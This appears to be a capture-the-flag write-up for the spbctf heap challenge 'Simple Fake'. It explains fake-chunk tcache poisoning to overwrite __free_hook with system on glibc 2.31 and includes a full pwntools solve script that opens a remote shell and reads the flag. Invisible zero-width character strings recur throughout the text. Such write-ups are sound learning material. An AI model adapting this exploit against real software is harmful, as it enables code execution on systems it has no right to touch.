← Back to Writeups
CUSTOMMediumpwn

Simple Fake

XESXOR9/2/20266 min read
#pwn#custom#medium#fake_chunk_forge#free_hook_overwrite#system_binsh#tcache_poisoning_via_overlap_w#linux

Simple Fake

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-05 | Status: Solved Techniques: fake_chunk_forge, free_hook_overwrite, system_binsh, tcache_poisoning_via_overlap_write

Summary

Task: heap challenge with heap/libc leaks, a large attacker-controlled buffer, and an arbitrary free() primitive on glibc 2.31. Solution: forge a fake 0x50 tcache chunk inside the large buffer overlapping the adjacent freed chunk's fd pointer, tcache-poison fd to __free_hook, overwrite with system, trigger via free("/bin/sh").

Simple Fake — spbctf

Description

Simple Fake — pwn. nc 109.233.56.90 11805 Files: mc1.elf (x86-64 PIE, Full RELRO, Canary, NX, SHSTK, IBT, not stripped) Libc: glibc 2.31 (Ubuntu 20.04.3 LTS), libc6_2.31-0ubuntu9.2_amd64

A heap challenge binary that:

  1. Allocates a minimal chunk via malloc(0) and leaks the heap base by printing its address.
  2. Prints the resolved GOT entry for printf, providing a libc leak.
  3. Allocates a large 0x4d0-byte buffer (bufA) and reads attacker-controlled data into it.
  4. Allocates three 0x50-sized chunks (B, C, D), frees C then B (tcache[0x50]: B → C).
  5. Reads a hex address from the user and calls free() on it — the arbitrary free primitive.
  6. Performs three malloc(0x40) + read_n(ptr, 0x40) calls (E, F, G) — three tcache pops with attacker-controlled writes.
  7. Prints "Ok, bye!" and calls free(bufA). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Goal: get a shell on the remote container and read the flag.

Analysis

Binary protections

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
SHSTK:    Enabled
IBT:      Enabled

Full RELRO means GOT is read-only — no GOT overwrite. However, glibc 2.31 still has a writable __free_hook (removed in 2.34+) and no tcache safe-linking (added in 2.32). This makes __free_hook overwrite via tcache poisoning the natural target. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Heap layout

Verified via LD_PRELOAD malloc/free tracer in Docker:

heap_base + 0x000  tcache_perthread_struct (0x290 chunk)
heap_base + 0x290  malloc(0) chunk (0x20)     user = heap_base + 0x2a0 (leaked)
heap_base + 0x2b0  bufA chunk (0x4e0)         user = heap_base + 0x2c0, data spans 0x2c0..0x790
heap_base + 0x790  B chunk (0x50)             user B = heap_base + 0x7a0
heap_base + 0x7e0  C chunk (0x50)             user C = heap_base + 0x7f0
heap_base + 0x830  D chunk (0x50)             user D = heap_base + 0x840

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

After free(C); free(B): tcache[0x50] = B → C (count=2).

Key libc offsets

SymbolOffset
printf0x64e10
system0x55410
__free_hook0x1eeb28
/bin/sh0x1b75aa

The vulnerability

The arbitrary free() on a user-supplied address, combined with the large attacker-controlled bufA (which can contain forged chunk metadata), and three post-free writes enables tcache poisoning → __free_hook overwrite.

Why a fake chunk?

We cannot directly corrupt B's fd pointer because B is already freed and we have no write primitive to its memory at that point. However, bufA's data region (0x2c0..0x790) is directly adjacent to B's chunk (starting at 0x790). By forging a fake 0x50-sized chunk near the end of bufA, we can: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. Free the fake chunk into tcache[0x50] (it becomes the head).
  2. Pop it back via malloc(0x40) and write through it — the write extends into B's metadata, corrupting B's fd pointer.

Solution

Step-by-step exploit

1. Forge fake chunk inside bufA.

During the read_n(bufA, 0x4d0) read, place a fake chunk header at heap_base + 0x760:

  • prev_size = 0 at offset 0x760
  • size = 0x51 (0x50 | PREV_INUSE) at offset 0x768
  • User data starts at heap_base + 0x770 (= fake_user)
  • e->key at offset 0x778 set to 0 (bypasses tcache double-free check: key != tcache) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The first 8 bytes of bufA are set to /bin/sh\0 for the final system() call.

2. Arbitrary free(fake_user).

Send fake_user as the hex address. free() reads size 0x51 from the forged header, routes to tcache bin index 3 (0x50). No next-chunk validation in glibc 2.31 tcache fast path.

tcache[0x50] is now: fake → B → C (count=3).

3. E = malloc(0x40) → returns fake_user.

read_n(E, 0x40) writes 0x40 bytes starting at fake_user (0x770). B's fd pointer lives at B_user = 0x7a0, which is at offset 0x7a0 - 0x770 = 0x30 from fake_user. We write p64(__free_hook) at that offset. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

tcache[0x50] head is now B, and B's fd has been corrupted to __free_hook.

4. F = malloc(0x40) → pops B.

tcache head becomes B->fd = __free_hook. Write 0x40 zero bytes (don't care).

5. G = malloc(0x40) → returns __free_hook!

Write p64(system) → __free_hook = system.

6. Final free(bufA) triggers system(bufA).

Since bufA starts with /bin/sh\0, this executes system("/bin/sh") → shell!

Critical debugging note

The initial exploit had a bug: the E-payload offset was computed by mixing a hex constant (0x7a0) with an absolute address (fake_user), instead of using the difference B_user - fake_user = 0x30. This caused B's fd to remain pointing at C, so the third malloc dereferenced a stale pointer instead of __free_hook → SIGSEGV. Fixing to absolute-difference arithmetic resolved the crash. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This was diagnosed using an LD_PRELOAD shim (hook.c) that logged all malloc/free calls plus a SIGSEGV handler, running in a privileged Docker container with ASLR disabled.

Solve script

python
#!/usr/bin/env python3
from pwn import *
import sys, time

context.arch = 'amd64'
context.log_level = 'info'

HOST, PORT = '109.233.56.90', 11805
libc = ELF('./libc.so.6', checksec=False)

PRINTF_OFF    = libc.sym['printf']      # 0x64e10
SYSTEM_OFF    = libc.sym['system']      # 0x55410
FREE_HOOK_OFF = libc.sym['__free_hook'] # 0x1eeb28
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def solve():
    io = remote(HOST, PORT)

    # Parse leaks
    io.recvuntil(b'heap base: ')
    heap_leak = int(io.recvline().strip(), 16)
    io.recvuntil(b'libc base: ')
    printf_leak = int(io.recvline().strip(), 16)

    heap_base = heap_leak - 0x2a0
    libc_base = printf_leak - PRINTF_OFF
    assert heap_base & 0xfff == 0, hex(heap_base)
    assert libc_base & 0xfff == 0, hex(libc_base)
    system    = libc_base + SYSTEM_OFF
    free_hook = libc_base + FREE_HOOK_OFF
    log.success('heap_base = %#x' % heap_base)
    log.success('libc_base = %#x' % libc_base)
    log.success('system    = %#x' % system)
    log.success('free_hook = %#x' % free_hook)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    bufA      = heap_base + 0x2c0
    B_user    = heap_base + 0x7a0
    fake_user = heap_base + 0x770

    # Build bufA payload (0x4d0 bytes)
    buf = bytearray(b'/bin/sh\x00'.ljust(0x4d0, b'\x00'))
    off_hdr = 0x760 - 0x2c0   # fake chunk header offset in bufA = 0x4a0
    buf[off_hdr:off_hdr+8]    = p64(0)      # prev_size
    buf[off_hdr+8:off_hdr+16] = p64(0x51)   # size = 0x50 | PREV_INUSE
    io.send(bytes(buf))

    # Arbitrary free of fake chunk
    io.recvuntil(b'free (in hex):')
    io.sendline(('%x' % fake_user).encode())
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # E = malloc -> fake. Overflow: write free_hook at B->fd (offset 0x30)
    e_payload = bytearray(b'\x00' * 0x40)
    off_bfd = B_user - fake_user   # 0x30
    e_payload[off_bfd:off_bfd+8] = p64(free_hook)
    io.send(bytes(e_payload))

    # F = malloc -> B. Head becomes free_hook. Write zeros.
    io.send(b'\x00' * 0x40)

    # G = malloc -> free_hook. Write system.
    io.send(p64(system).ljust(0x40, b'\x00'))

    # Final free(bufA) => system("/bin/sh")
    time.sleep(0.5)
    io.sendline(b'cat /flag* 2>/dev/null; cat flag* 2>/dev/null; id')
    time.sleep(1.0)
    try:
        out = io.recvrepeat(3)
        sys.stdout.write(out.decode(errors='replace'))
    except Exception as e:
        log.warning(str(e))
    io.interactive()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == '__main__':
    solve()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍